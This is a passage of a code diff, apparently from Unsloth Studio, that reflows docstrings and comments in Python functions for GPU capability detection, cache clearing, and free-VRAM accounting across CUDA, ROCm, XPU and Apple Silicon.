tuple[Optional[str], Optional[str]]:except Exception as e:logger.debug("chat-only verdict refresh failed: %s", e)return reason, detail- # "No GPU here" is a measurement, and a host whose torch will not import never made- # one: detect_hardware() refused to say it, so this cannot say it either.+ # "No GPU here" is a measurement, and a host whose torch will not import never made one: detect_hardware() refused to say it, so this cannot say it either.return (reason, detail) if frozen_but_measurable else ("no_gpu", None)def _gpu_present_but_unusable_message(feature: str, verdict: Optional[tuple[Optional[str], Optional[str]]] = None) -> Optional[str]:- """The capability message for a host whose GPUs are real but unreachable by torch.-- ``None`` when this host is not in that state. detect_hardware() records- ``torch_cpu_build`` / ``torch_cuda_unavailable`` only after the OS inventory has- actually found a card, so reaching this point means the "no supported accelerator- was found" wording below would contradict the System tab and send the user after- hardware they already own. Both reasons are surfaced verbatim by the Export and- Video pages and by rejected export API calls.- """- # ``verdict`` lets one response read it ONCE: two reads across a TTL boundary can describe- # different hosts.+ """The capability message for a host whose GPUs are real but unreachable by torch, or ``None`` when this host is not in that state. detect_hardware() records ``torch_cpu_build`` / ``torch_cuda_unavailable`` only after the OS inventory has actually found a card, so reaching this point means the "no supported accelerator was found" wording below would contradict the System tab and send the user after hardware they already own. Both reasons are surfaced verbatim by the Export and Video pages and by rejected export API calls."""+ # ``verdict`` lets one response read it ONCE: two reads across a TTL boundary can describe different hosts.reason, detail = verdict if verdict is not None else current_chat_only_verdict()if reason not in ("torch_cpu_build", "torch_cuda_unavailable"):return Noneinstalled = f" (installed {detail})" if detail else ""- # Both routes, always. The repair row exists only in the desktop app and only for a- # backend it manages, so a browser-hosted Studio, or a desktop attached to a server- # someone started from a terminal, was being sent to a control that is not on the page.+ # Both routes, always. The repair row exists only in the desktop app and only for a backend it manages, so a browser-hosted Studio, or a desktop attached to a server someone started from a terminal, was being sent to a control that is not on the page.if reason == "torch_cpu_build":return (f"This host has a GPU, but the installed PyTorch is a CPU-only build{installed}, "@@ -2161,14 +1588,7 @@ def _gpu_present_but_unusable_message(def export_capability() -> dict:- """Whether model export can run here, with a torch-aware reason when it cannot.-- Export runs through Unsloth, which hard-requires an accelerator (it calls ``torch.cuda`` at- import and has no CPU path), so it is supported iff ``get_device() in {CUDA, XPU, MLX}``. The- reason distinguishes a --no-torch install from a bare-CPU host. Safe to call without torch.-- Returns {export_supported, export_unsupported_reason, export_unsupported_message}.- """+ """Whether model export can run here, with a torch-aware reason when it cannot. Export runs through Unsloth, which hard-requires an accelerator (it calls ``torch.cuda`` at import and has no CPU path), so it is supported iff ``get_device() in {CUDA, XPU, MLX}``. The reason distinguishes a --no-torch install from a bare-CPU host. Safe to call without torch. Returns {export_supported, export_unsupported_reason, export_unsupported_message}."""if get_device() in (DeviceType.CUDA, DeviceType.XPU, DeviceType.MLX):return {"export_supported": True,@@ -2176,8 +1596,7 @@ def export_capability() -> dict:"export_unsupported_message": None,}verdict = current_chat_only_verdict()- # No accelerator: name the blocker. Detection failure first -- the branches below all- # describe a measured host, so a broken probe would tell a GPU box to install PyTorch.+ # No accelerator: name the blocker. Detection failure first, since the branches below all describe a measured host, so a broken probe would tell a GPU box to install PyTorch.if verdict[0] == "detection_failed":reason = "detection_failed"message = (@@ -2197,8 +1616,7 @@ def export_capability() -> dict:"`unsloth studio update` to restore MLX and enable export.")elif _gpu_present_but_unusable_message("export", verdict) is not None:- # BEFORE _has_torch(), which reports an unimportable wheel as absent while re-running the- # seconds-long import that already failed.+ # BEFORE _has_torch(), which reports an unimportable wheel as absent while re-running the seconds-long import that already failed.reason = verdict[0]message = _gpu_present_but_unusable_message("export", verdict)elif not _has_torch():@@ -2222,23 +1640,14 @@ def export_capability() -> dict:def video_capability() -> dict:- """Whether video generation can run here, with a torch-aware reason when it cannot.-- Supported on CUDA and XPU, and on Apple Silicon with a usable MPS device. The pipelines in- core/inference/video.py are device-neutral -- they resolve the device through the shared- diffusion device target, whose capability flags already decline the CUDA-only options -- so- Metal needs no branches of its own. Safe to call without torch.-- Returns {video_supported, video_unsupported_reason, video_unsupported_message}.- """+ """Whether video generation can run here, with a torch-aware reason when it cannot. Supported on CUDA and XPU, and on Apple Silicon with a usable MPS device: the pipelines in core/inference/video.py are device-neutral, resolving the device through the shared diffusion device target whose capability flags already decline the CUDA-only options, so Metal needs no branches of its own. Safe to call without torch. Returns {video_supported, video_unsupported_reason, video_unsupported_message}."""if get_device() in (DeviceType.CUDA, DeviceType.XPU):return {"video_supported": True,"video_unsupported_reason": None,"video_unsupported_message": None,}- # Detection failure first, as in export_capability: the branches below all describe a- # measured host, so a broken probe would tell a GPU box to go buy a GPU.+ # Detection failure first, as in export_capability: the branches below all describe a measured host, so a broken probe would tell a GPU box to go buy a GPU.verdict = current_chat_only_verdict()if verdict[0] == "detection_failed":reason = "detection_failed"@@ -2255,9 +1664,7 @@ def video_capability() -> dict:"video_unsupported_message": None,}if TORCH_IMPORT_ERROR is not None:- # Installed but broken reads as no torch below, and detect_hardware() records- # mlx_unavailable for this host, so neither the branch above nor the one below sees- # it -- and the host would be told to install the PyTorch it already has.+ # Installed but broken reads as no torch below, and detect_hardware() records mlx_unavailable for this host, so neither the branch above nor the one below sees it, and the host would be told to install the PyTorch it already has.reason = "detection_failed"message = ("PyTorch is installed but fails to import on this host, so the video pipelines "@@ -2276,8 +1683,7 @@ def video_capability() -> dict:"nowhere to run. Reinstall PyTorch with MPS support to enable video generation.")elif platform.system() == "Darwin":- # Ahead of the torch/GPU branches below: neither installing torch nor adding a GPU- # enables video on an Intel Mac, so it must not be told to try either.+ # Ahead of the torch/GPU branches below: neither installing torch nor adding a GPU enables video on an Intel Mac, so it must not be told to try either.reason = "macos_unsupported"message = ("Video generation requires Apple Silicon. This Intel Mac has no Metal (MPS) device "@@ -2307,10 +1713,7 @@ def video_capability() -> dict:def clear_gpu_cache():- """- Clear GPU memory cache for the current device.- Safe on any platform — no-ops gracefully.- """+ """Clear GPU memory cache for the current device. Safe on any platform: no-ops gracefully."""gc.collect()device = get_device()@@ -2318,13 +1721,7 @@ def clear_gpu_cache():if device == DeviceType.CUDA:import torch- # Nothing reserved anywhere means no allocator was ever built, so there is- # nothing to wait on. Skip only the synchronize: it attaches a primary- # context (~612 MiB, never returned) to idle on an empty stream.- # memory_reserved needs no context; is_initialized() is useless here, since- # reading device properties already flips it. Summed over devices so one- # that allocated off the current device still drains. Deliberately NOT- # wrapped: the unload paths need a sticky CUDA fault to propagate.+ # Nothing reserved anywhere means no allocator was ever built, so there is nothing to wait on. Skip only the synchronize, which attaches a primary context (~612 MiB, never returned) to idle on an empty stream. memory_reserved needs no context; is_initialized() is useless here, since reading device properties already flips it. Summed over devices so one that allocated off the current device still drains. Deliberately NOT wrapped: the unload paths need a sticky CUDA fault to propagate.if torch.cuda.is_available() and any(torch.cuda.memory_reserved(i) for i in range(torch.cuda.device_count())):@@ -2333,9 +1730,7 @@ def clear_gpu_cache():torch.cuda.empty_cache()torch.cuda.ipc_collect()elif device == DeviceType.XPU:- # Guard synchronize/empty_cache: older torch-xpu builds may lack- # them, and an unguarded AttributeError would propagate to callers.- # torch.xpu has no ipc_collect(), so do not call it here.+ # Guard synchronize/empty_cache: older torch-xpu builds may lack them, and an unguarded AttributeError would propagate to callers. torch.xpu has no ipc_collect(), so do not call it here.try:import torchif hasattr(torch, "xpu"):@@ -2348,19 +1743,12 @@ def clear_gpu_cache():elif device == DeviceType.MLX:_clear_mps_cache()elif is_apple_silicon():- # An Apple Silicon host whose MLX stack is unavailable reports CPU, but diffusion and- # video still run on Metal (see diffusion_device._mps_or_cpu_target), so the MPS- # allocator needs the same teardown the MLX branch gets.+ # An Apple Silicon host whose MLX stack is unavailable reports CPU, but diffusion and video still run on Metal (see diffusion_device._mps_or_cpu_target), so the MPS allocator needs the same teardown the MLX branch gets._clear_mps_cache()def _clear_mps_cache() -> None:- """Return torch's MPS reservations to the shared pool.-- MLX manages its own memory, but Apple Silicon also runs torch MPS (diffusion/video), whose- caching allocator keeps freed buffers reserved. Those bytes read as used system memory, so- skipping this leaves the next load budgeting against a pool that looks smaller than it is.- """+ """Return torch's MPS reservations to the shared pool: Apple Silicon also runs torch MPS, whose caching allocator keeps freed buffers reserved, and those bytes read as used system memory, so the next load budgets against a pool that looks smaller than it is."""try:import torchempty_cache = getattr(getattr(torch, "mps", None), "empty_cache", None)@@ -2381,30 +1769,15 @@ def _rocm_visibility_masks_are_stacked() -> bool:def _rocm_device_ordinal_active() -> bool:- """Whether GPU_DEVICE_ORDINAL renumbers HIP devices.-- ROCclr-layer, so it applies on Windows too, and no visibility spec here reads- it: a torch ordinal cannot be paired with a physical id while it is set.- """+ """Whether GPU_DEVICE_ORDINAL renumbers HIP devices. ROCclr-layer, so it applies on Windows too, and no visibility spec here reads it: a torch ordinal cannot be paired with a physical id while it is set."""return bool(os.environ.get("GPU_DEVICE_ORDINAL", "").strip())def _cuda_order_matches_smi() -> bool:- """Whether torch ordinals and nvidia-smi rows share one index space.-- CUDA enumerates FASTEST_FIRST by default and nvidia-smi reports PCI order;- PCI_BUS_ID is only a setdefault here, so an explicit override survives and- the two disagree. Equal-sized cards defeat the total-scope check, so nothing- else catches it. Same gate the llama.cpp SM probe applies. One GPU is exempt:- every ordering is the identity there.- """+ """Whether torch ordinals and nvidia-smi rows share one index space. CUDA enumerates FASTEST_FIRST by default and nvidia-smi reports PCI order, and PCI_BUS_ID is only a setdefault here, so an explicit override survives. Equal-sized cards defeat the total-scope check, so nothing else catches it. One GPU is exempt: every ordering is the identity there."""if IS_ROCM or os.environ.get("CUDA_DEVICE_ORDER") == "PCI_BUS_ID":return True- # The count must be the SMI's. The torch fallback counts VISIBLE devices, so- # a mask of one on a multi-GPU host reads as single-GPU and would grant the- # exemption the mask is exactly the reason to withhold. It is cached, so one- # transient `nvidia-smi -L` timeout would otherwise disable this for the- # life of the process.+ # The count must be the SMI's: the torch fallback counts VISIBLE devices, so a mask of one on a multi-GPU host reads as single-GPU and would grant the exemption the mask is the reason to withhold. Cached, or one transient `nvidia-smi -L` timeout disables this for the life of the process.count = get_physical_gpu_count()if _physical_gpu_count_from_smi and count <= 1:return True@@ -2456,27 +1829,12 @@ def _amd_smi_ids_for_hip_ids(hip_ids: Optional[list[int]]) -> Optional[list[int]def _free_in_torch_scope(total_bytes: int, used_gb: float) -> int:- """Driver used-memory turned into free bytes, in torch's allocatable scope.-- Subtract from torch's total, never the driver's: NVIDIA's total also spans a- reserved framebuffer that ``used`` excludes and torch can never hand out- (726 MiB on a B200), so ``driver_total - used`` reports a full card as free.-- Clamped both ends: the parsers accept signed values, and a negative used- would otherwise advertise more free than the card has, which utilization_pct- and the training-method policy both read.- """+ """Driver used-memory turned into free bytes, in torch's allocatable scope. Subtract from torch's total, never the driver's: NVIDIA's total also spans a reserved framebuffer torch can never hand out (726 MiB on a B200), so driver_total - used reports a full card as free. Clamped both ends, since the parsers accept signed values and a negative used would advertise more free than the card has."""return min(total_bytes, max(0, total_bytes - round(used_gb * (1024**3))))def _mlx_device_info(mx: Any) -> Dict[str, Any]:- """Metal device properties across the MLX rename.-- ``mx.device_info()`` is the current spelling; mlx below 0.30 has only- ``mx.metal.device_info()``, and the stack gate accepts mlx >= 0.22.0- (utils.mlx_repair._MLX_MIN_VERSIONS), so reading just the new name leaves the- working set cap silently unapplied on a stack Studio considers usable.- """+ """Metal device properties across the MLX rename: mx.device_info() is current, mlx below 0.30 has only mx.metal.device_info(), and the stack gate accepts mlx >= 0.22.0, so reading just the new name leaves the working set cap silently unapplied."""for probe in (getattr(mx, "device_info", None),getattr(getattr(mx, "metal", None), "device_info", None),@@ -2490,21 +1848,7 @@ def _mlx_device_info(mx: Any) -> Dict[str, Any]:def _apple_unified_free_bytes(available_bytes: int, device_info: Any) -> int:- """What is available right now, bounded by the Metal working set.-- Total RAM minus GPU-only usage counts host RAM as free, which the- training-method policy then reads as room it does not have.-- The cap is not reduced by the AGX "In use system memory" counter: that is- whole-device and only the active subset (a real M4 Pro reports 4.70 GiB- allocated against 0.61 GiB in use), while the working set is a per-process- budget, which is how torch.mps applies it.-- A floor rather than a capacity: macOS reclaims compressed and file-backed- pages, so MLX can still allocate past what psutil calls available. Reading- low costs a QLoRA suggestion where LoRA would have fit; reading high costs- an OOM partway through a run.- """+ """What is available right now, bounded by the Metal working set. Total RAM minus GPU-only usage counts host RAM as free, which the training-method policy reads as room it does not have. The cap is not reduced by the AGX "In use system memory" counter, which is whole-device and only the active subset, while the working set is the per-process budget torch.mps applies. A floor rather than a capacity: macOS reclaims compressed and file-backed pages, and reading low costs a QLoRA suggestion where reading high costs an OOM mid-run."""free = max(0, int(available_bytes or 0))try:recommended = int(device_info.get("max_recommended_working_set_size") or 0)@@ -2518,17 +1862,10 @@ def _context_free_cuda_memory_info(total_bytes: int,unified: bool = False,) -> Optional[int]:- """System-wide free bytes without attaching a CUDA/HIP primary context.-- ``unified`` marks a ROCm APU, whose *total* must still come from HIP but whose- *used* is available here; see ``_rocm_windows_unified_used_bytes``.- """+ """System-wide free bytes without attaching a CUDA/HIP primary context. ``unified`` marks a ROCm APU, whose *total* must still come from HIP but whose *used* is available here (see _rocm_windows_unified_used_bytes)."""parent_visible_spec = _get_parent_visible_gpu_spec()- # A unified part goes straight to the WDDM counters. The vendor CLI and DRM- # sysfs both report the dedicated carve-out for it, which the total-tolerance- # check below would reject anyway, and Linux hipMemGetInfo is already- # system-wide there -- so this exists for Windows, where it is not.+ # A unified part goes straight to the WDDM counters: the vendor CLI and DRM sysfs both report the dedicated carve-out, and Linux hipMemGetInfo is already system-wide, so this exists for Windows, where it is not.if unified:if platform.system() != "Windows" or _rocm_device_ordinal_active():return None@@ -2537,14 +1874,11 @@ def _context_free_cuda_memory_info(return Nonereturn _free_in_torch_scope(total_bytes, used_bytes / (1024**3))- # Prefer the vendor CLI. Both nvidia-smi and amd-smi run out of process, so- # querying an idle backend does not leave a context resident in this process.+ # Prefer the vendor CLI: both nvidia-smi and amd-smi run out of process, so querying an idle backend leaves no context resident here.visible_ids = parent_visible_spec["numeric_ids"]if IS_ROCM:visible_ids = _amd_smi_ids_for_hip_ids(visible_ids)- # Without numeric ids ROCm cannot map at all, while an NVIDIA UUID mask names- # its devices absolutely: CUDA enumerates them in the order listed, so there- # is no ordinal space to share and the order gate does not apply.+ # Without numeric ids ROCm cannot map at all, while an NVIDIA UUID mask names its devices absolutely (CUDA enumerates them in the order listed), so there is no ordinal space to share and the order gate does not apply.may_query = not IS_ROCM if visible_ids is None else _cuda_order_matches_smi()result = Noneif may_query:@@ -2571,9 +1905,7 @@ def _context_free_cuda_memory_info(if not IS_ROCM:return None- # Linux DRM sysfs is system-wide and context-free. Build the complete- # physical inventory because the resolver intentionally rejects partial or- # visibility-masked sets whose ordinals cannot be matched safely.+ # Linux DRM sysfs is system-wide and context-free. Build the complete physical inventory, because the resolver rejects partial or visibility-masked sets whose ordinals cannot be matched safely.if platform.system() == "Linux":numeric_ids = parent_visible_spec.get("numeric_ids")if numeric_ids is not None and 0 <= idx < len(numeric_ids):@@ -2598,22 +1930,13 @@ def _context_free_cuda_memory_info(used_gb, _sysfs_total_gb = entryreturn _free_in_torch_scope(total_bytes, used_gb)- # Native Windows ROCm exposes per-adapter dedicated usage without entering- # HIP. Reuse the same conservative mapping as the System telemetry route.- # GPU_DEVICE_ORDINAL renumbers torch ordinals but not the visible spec, so- # device_ids[idx] would be a different card; the Linux path declines already.+ # Native Windows ROCm exposes per-adapter dedicated usage without entering HIP, using the same conservative mapping as the System telemetry route. GPU_DEVICE_ORDINAL renumbers torch ordinals but not the visible spec, so device_ids[idx] would be a different card.if platform.system() == "Windows" and not _rocm_device_ordinal_active():numeric_ids = parent_visible_spec.get("numeric_ids")device_ids = (numeric_ids if numeric_ids else list(range(_torch_get_physical_gpu_count() or 0)))- # Only when the counter instances ARE the visible set. With extras present- # the capacity ranking may hand a hidden adapter's smaller reading to a- # busier visible card: simulated over 89/89/8 GiB, a card really holding- # 86 GiB reports 10, overstating free by 76 GiB. The System tab can carry- # that best-effort mapping, but free_gb feeds training-method selection,- # where overstating free is what OOMs. Same cardinality assumption- # _rocm_windows_aggregate_used_bytes already rests on.+ # Only when the counter instances ARE the visible set: with extras present the capacity ranking may hand a hidden adapter's smaller reading to a busier visible card (simulated over 89/89/8 GiB, a card holding 86 GiB reports 10). The System tab can carry that best-effort mapping, but free_gb feeds training-method selection, where overstating free is what OOMs.adapters = _rocm_windows_perf_counter_vram_by_adapter()if adapters is None or len(adapters) != len(device_ids):return None@@ -2631,13 +1954,9 @@ def _context_free_cuda_memory_info(def get_gpu_memory_info() -> Dict[str, Any]:- """- Get GPU memory info.- Supports CUDA (NVIDIA), MLX (Apple Silicon), and CPU-only.- """+ """GPU memory info for CUDA (NVIDIA), MLX (Apple Silicon) and CPU-only."""device = get_device()- # ---- CUDA path ----if device == DeviceType.CUDA:try:import torch@@ -2649,35 +1968,19 @@ def get_gpu_memory_info() -> Dict[str, Any]:allocated = torch.cuda.memory_allocated(idx)reserved = torch.cuda.memory_reserved(idx)- # Driver-level free includes torch's cache and other processes. Try- # context-free telemetry first: mem_get_info pins a primary context- # for the life of this backend.- #- # A ROCm APU needs its GTT *total* from HIP, which the context-free- # probes cannot supply, so it pays for the context regardless. That is- # a reason to take the total from HIP, not a reason to take the free- # figure from it too: hipMemGetInfo is process-local on Windows WDDM- # and blind to other processes there. So resolve the total first, then- # still prefer telemetry for used.+ # Driver-level free includes torch's cache and other processes, so try context-free telemetry first: mem_get_info pins a primary context for the life of this backend. A ROCm APU needs its GTT *total* from HIP and pays for the context regardless, but hipMemGetInfo is process-local on Windows WDDM and blind to other processes, so resolve the total from HIP and still prefer telemetry for used.driver_total_needed = _rocm_props_total_is_carve_out(props)free = Noneif driver_total_needed:try:free, driver_total = trusted_mem_get_info(idx)- # Only adopt a driver total that is usable: utilization_pct- # divides by it, so a zero would lose the whole report.+ # Only adopt a driver total that is usable: utilization_pct divides by it, so a zero would lose the whole report.if driver_total:total = driver_totalexcept Exception as e:logger.debug("mem_get_info probe failed; free VRAM from reserved: %s", e)free = max(0, total - reserved)- # The counters only apply where UMA is POSITIVELY identified.- # _rocm_props_total_is_carve_out also answers True for an- # uncertain device (old HIP, unreadable flag), on the principle- # that a too-small total hides models. That justifies the driver- # total, not summing Shared Usage: shared system memory is not- # part of a discrete card's props.total_memory, so on a discrete- # GPU misread as uncertain it would understate free.+ # The counters only apply where UMA is POSITIVELY identified. _rocm_props_total_is_carve_out also answers True for an uncertain device, which justifies the driver total but not summing Shared Usage: shared system memory is not part of a discrete card's props.total_memory, so a discrete GPU misread as uncertain would understate free.telemetry_free = Noneif _rocm_props_are_positively_unified(props):try:@@ -2717,7 +2020,6 @@ def get_gpu_memory_info() -> Dict[str, Any]:"error": str(e),}- # ---- XPU path (Intel GPU) ----if device == DeviceType.XPU:try:import torch@@ -2729,8 +2031,7 @@ def get_gpu_memory_info() -> Dict[str, Any]:allocated = torch.xpu.memory_allocated(idx)reserved = torch.xpu.memory_reserved(idx)- # Same rationale as the CUDA path: driver free, reserved as the- # fallback bound (see above).+ # Same rationale as the CUDA path: driver free, reserved as the fallback bound.try:free, _driver_total = trusted_mem_get_info(idx, module = torch.xpu)except Exception as e:@@ -2756,7 +2057,6 @@ def get_gpu_memory_info() -> Dict[str, Any]:"error": str(e),}- # ---- MLX path (Apple Silicon) ----if device == DeviceType.MLX:try:import mlx.core as mx@@ -2792,7 +2092,6 @@ def get_gpu_memory_info() -> Dict[str, Any]:"error": str(e),}- # ---- CPU-only ----return {"available": False, "backend": "cpu"}@@ -2813,17 +2112,8 @@ def log_gpu_memory(context: str):logger.info(f"GPU Memory [{context}]: No GPU available (CPU-only)")-# ========== GPU Summary & Package Versions ==========--def get_gpu_summary() -> Dict[str, Any]:- """- Return a compact summary of the primary GPU.-- Returns dict with keys:- gpu_name – e.g. "NVIDIA L4" (or None)- vram_total_gb – e.g. 22.17 (or None)- """+ """Compact summary of the primary GPU: gpu_name (e.g. "NVIDIA L4") and vram_total_gb, either of which may be None."""mem = get_gpu_memory_info()if mem.get("available"):return {@@ -2835,13 +2125,7 @@ def get_gpu_summary() -> Dict[str, Any]:def get_package_versions() -> Dict[str, Optional[str]]:- """- Return installed versions of key ML packages.-- Uses importlib.metadata (stdlib), no subprocess. CUDA version from- torch.version.cuda. Returns dict keyed unsloth/torch/transformers/cuda;- missing packages yield None.- """+ """Installed versions of unsloth / torch / transformers / cuda via importlib.metadata, no subprocess; missing packages yield None."""packages = ("unsloth", "torch", "transformers")versions: Dict[str, Optional[str]] = {}@@ -2851,19 +2135,16 @@ def get_package_versions() -> Dict[str, Optional[str]]:except PackageNotFoundError:versions[name] = None- # GPU runtime versions bundled with torch (CUDA, ROCm/HIP, Intel XPU)+ # GPU runtime versions bundled with torch (CUDA, ROCm/HIP, Intel XPU).try:import torchversions["cuda"] = getattr(torch.version, "cuda", None)versions["rocm"] = getattr(torch.version, "hip", None)- # Isolated probe: a broken Intel runtime raising in is_available()- # must not blank the already-read cuda/rocm versions.+ # Isolated probe: a broken Intel runtime raising in is_available() must not blank the already-read cuda/rocm versions.try:if hasattr(torch, "xpu") and torch.xpu.is_available():- # torch.version.xpu may be None on modern builds; fall back to- # "available" so the UI distinguishes present-but-unknown from- # "package not found".+ # torch.version.xpu may be None on modern builds; fall back to "available" so the UI distinguishes present-but-unknown from "package not found".xpu_ver = getattr(torch.version, "xpu", None)versions["xpu"] = xpu_ver if xpu_ver is not None else "available"except Exception:@@ -2876,9 +2157,6 @@ def get_package_versions() -> Dict[str, Optional[str]]:return versions-# ========== Torch-based GPU fallbacks (AMD ROCm, Intel XPU, nvidia-smi missing) ==========--def _torch_get_device_module():"""Return the appropriate torch device module (cuda or xpu) and its name.@@ -2910,48 +2188,12 @@ def _torch_get_physical_gpu_count() -> Optional[int]:def rocm_windows_free_is_untrusted() -> bool:- """Whether ``mem_get_info``'s FREE half must be treated as an over-report.-- AMD documents this: the hipMemGetInfo reference warns "On Windows, the free- memory only accounts for memory allocated by this process and may be optimistic."- WDDM virtualises video memory, so a process is told its own budget rather than- the card's residency and a fresh process sees free at or near total whatever else- is resident. An AMD engineer confirms in ROCm/librocdxg#57 that this is the- intended Windows model rather than a defect, measuring 24410 MiB of 24560- reported free on a deliberately filled card; ROCm/TheRock#3724 is the same- symptom, torch OOM while reporting 52.71 GiB of a 53.92 GiB card free.-- Near ``total``, not equal to it, so callers cap instead of testing for a- sentinel. The TOTAL half is fine. Every other platform is left alone, WSL- included and deliberately: AMD keeps the WSL2 reading consistent with native- Linux, where free tracks physical residency, and ``sys.platform`` is "linux"- there, so this is False and the accurate figure passes through uncapped. One- predicate for the whole backend (#7452 reporting side, #8403 guard side).- """+ """Whether ``mem_get_info``'s FREE half must be treated as an over-report. AMD documents it: on Windows the free memory only accounts for this process's allocations, because WDDM virtualises video memory, so a fresh process sees free at or near total whatever else is resident (ROCm/librocdxg#57 measured 24410 of 24560 MiB free on a filled card; ROCm/TheRock#3724 is the same symptom). Near ``total``, not equal, so callers cap rather than test a sentinel. The TOTAL half is fine, and WSL is deliberately left alone: sys.platform is "linux" there and free tracks physical residency."""return sys.platform == "win32" and IS_ROCMdef trusted_mem_get_info(device: Any = None, *, module: Any = None) -> tuple[int, int]:- """``mem_get_info`` with the Windows ROCm free over-report capped (#8403).-- Guards that budget against free VRAM (the image activation refusal, llama.cpp- slot fitting, the video preflight) cannot be handed a figure that says the- whole card is free while a model is resident: on Windows WDDM the overflow- does not raise, the driver satisfies it from host RAM, and the process grows- past the card instead of failing, so an optimistic reading removes the only- protection there is.-- Free is capped at what this process's own torch allocator has NOT reserved,- which is a true upper bound on free VRAM. It still cannot see another- process's allocations, so it is a ceiling, not a measurement; a caller that- adds torch's reclaimable cache back (as the diffusion snapshot does) recovers- exactly ``total - allocated``. Off Windows ROCm this returns the driver's own- numbers untouched.-- ``module`` defaults to ``torch.cuda``; pass ``torch.xpu`` or the resolved- device module to probe another backend. Exceptions propagate, so callers keep- their existing "unreadable card decides nothing" handling.- """+ """``mem_get_info`` with the Windows ROCm free over-report capped (#8403). Guards that budget against free VRAM cannot be handed a figure saying the whole card is free while a model is resident: on WDDM the overflow does not raise, the driver satisfies it from host RAM, and the process grows past the card. Free is capped at what this process's torch allocator has NOT reserved, a true upper bound but still blind to other processes, so a ceiling rather than a measurement. Off Windows ROCm the driver's own numbers pass through untouched. ``module`` defaults to torch.cuda; exceptions propagate."""import torchmod = module if module is not None else torch.cuda@@ -2968,10 +2210,7 @@ def trusted_mem_get_info(device: Any = None, *, module: Any = None) -> tuple[intreturn min(free_bytes, max(0, total_bytes - reserved)), total_bytes-# clr fills hipDeviceProp_t.integrated from the HSA "agent is APU" flag only from-# ROCm 6.1.2 on; before that an APU answers 0 exactly like a discrete card. HIP's-# last version field is a build number, so 6.1.2 cannot be told from 6.1.0 and the-# whole 6.1 line stays untrusted.+# clr fills hipDeviceProp_t.integrated from the HSA "agent is APU" flag only from ROCm 6.1.2 on, and HIP's last version field is a build number, so 6.1.2 cannot be told from 6.1.0 and the whole 6.1 line stays untrusted._HIP_INTEGRATED_FLAG_MIN = (6, 2)@@ -2992,22 +2231,7 @@ def _hip_runtime_version() -> Optional[tuple[int, int]]:return None-# APU architectures that are unified memory but sit outside the shared-# classifier's positive set. That set is the list of parts whose SHARED POOL SIZE-# drives a lower set_per_process_memory_fraction cap, and it names anything else-# from hipDeviceProp_t::integrated; a Phoenix / Hawk Point iGPU on a runtime that-# leaves that flag at 0 is therefore in neither, and reads as "not unified".-#-# Harmless for the cap and for the total, and wrong for a NUMERATOR: clr never-# assigned deviceProps.integrated before tag rocm-6.2.0 (so HIP SDK for Windows-# 5.5.1 / 5.7.1 / 6.1.2 leave it 0 in a zero-initialised struct, which is what-# _HIP_INTEGRATED_FLAG_MIN above already encodes), and the legacy R0000 property-# ABI still does not assign it on any version -- while paldevice.cpp inflates-# globalMemSize_ off settings().apuSystem_ in both cases.-#-# gfx1103 Phoenix / Hawk Point is an integrated part and never shipped as a-# discrete board, so naming it here can only ever upgrade a part whose-# props.total_memory really does span host memory.+# APU architectures that are unified memory but sit outside the shared classifier's positive set, which names anything else from hipDeviceProp_t::integrated. clr never assigned deviceProps.integrated before rocm-6.2.0 and the legacy R0000 property ABI still does not, while paldevice.cpp inflates globalMemSize_ off settings().apuSystem_ in both cases -- harmless for the cap and the total, wrong for a NUMERATOR. gfx1103 Phoenix / Hawk Point never shipped as a discrete board, so naming it here can only upgrade a part whose props.total_memory really does span host memory._ROCM_UNNAMED_APU_ARCHES = frozenset({"gfx1103"})@@ -3026,60 +2250,14 @@ def _rocm_props_unified_status(props: Any) -> Optional[bool]:def _rocm_props_are_positively_unified(props: Any) -> bool:- """Whether this part is KNOWN to be unified memory, not merely unclassified.-- ``_rocm_props_total_is_carve_out`` folds "uncertain" in with "unified" on- purpose, because a total that is too small hides models. Anything that adds- host-shared memory to a used figure needs the stricter question: on a- discrete card, shared bytes are not part of ``props.total_memory``.-- "Uncertain" is what this must not accept. A part the classifier can NAME as- an APU is not uncertain, whichever way the classifier's own answer went: on- Windows the backend is PAL, and paldevice.cpp adds the WDDM shared heap to- globalMemSize_ for any ``Pal::GpuType::Integrated`` part, which is a property- of the DEVICE and not of whether HIP filled in the props struct's integrated- field. So a gfx1103 Phoenix on a pre-6.2 runtime already carries a- pool-scoped total, and answering False here pairs that pool with Dedicated- Usage alone, which plateaus at the BIOS carve-out. Measured shape: 17.0 GB- total, 8 GiB resident, published as 1.90 used and 15.10 free.-- """+ """Whether this part is KNOWN to be unified memory, not merely unclassified. _rocm_props_total_is_carve_out folds "uncertain" in with "unified" because a too-small total hides models, but anything ADDING host-shared memory to a used figure needs the stricter question, since shared bytes are not part of a discrete card's props.total_memory. A part the classifier can NAME as an APU is not uncertain: on Windows paldevice.cpp adds the WDDM shared heap for any Pal::GpuType::Integrated part regardless of the props flag, so a gfx1103 Phoenix on a pre-6.2 runtime already carries a pool-scoped total, and answering False pairs that pool with Dedicated Usage alone, which plateaus at the BIOS carve-out (measured: 17.0 GB total, 8 GiB resident, published as 1.90 used)."""if not IS_ROCM:return Falsereturn _rocm_props_unified_status(props) is Truedef _rocm_props_total_is_carve_out(props: Any) -> bool:- """True when ``props.total_memory`` may understate what torch can actually use.-- On some stacks ``props.total_memory`` is the dedicated carve-out while- ``hipMemGetInfo``'s total spans the GTT pool. MAY, not does: measured on a- Windows gfx1151 (driver 32.0.21041.1000, torch 2.11.0+rocm7.13.0) the two- agree at 89.47 GB against a 32 GB BIOS carve-out, and on a Linux gfx1151 they- agree at 64 GB, so on both APUs tested props.total_memory already spans the- pool and this returning True buys nothing. Callers must therefore compare the- two and adopt only a larger driver total, never adopt it outright.-- The gap this module DOES have provenance for is a different pair:- _apply_unified_memory_correction adopts torch's total over amd-smi's, because- amd-smi reports the carve-out. That is torch against amd-smi, not- props.total_memory against hipMemGetInfo, and it is not evidence for this one.- A stack where these two disagree is inferred from reports of an understated- total, not yet reproduced; #8862 and #7449 are about used VRAM reading- Unknown, which is a different fault.-- There is no context-free source for the GTT total, so only APUs pay- mem_get_info; every discrete device keeps the free inventory. Same classifier- the training worker and the llama.cpp backend use, so all three agree on what- an APU is.-- "Not unified" is not the same answer as "discrete". That classifier knows an APU- by the driver's integrated flag or by a hardcoded arch set, so a gfx1103 Phoenix- iGPU on a runtime that leaves the flag at 0 reads as discrete and would publish- its carve-out as the whole device. Only a runtime that fills the flag in gets to- settle it; on anything older, and when the classifier itself fails, the driver- total is worth a context, because a total that is too small hides models.- """+ """True when ``props.total_memory`` MAY understate what torch can use, because on some stacks it is the dedicated carve-out while hipMemGetInfo's total spans the GTT pool. May, not does: on both APUs tested the two agree, so callers must compare and adopt 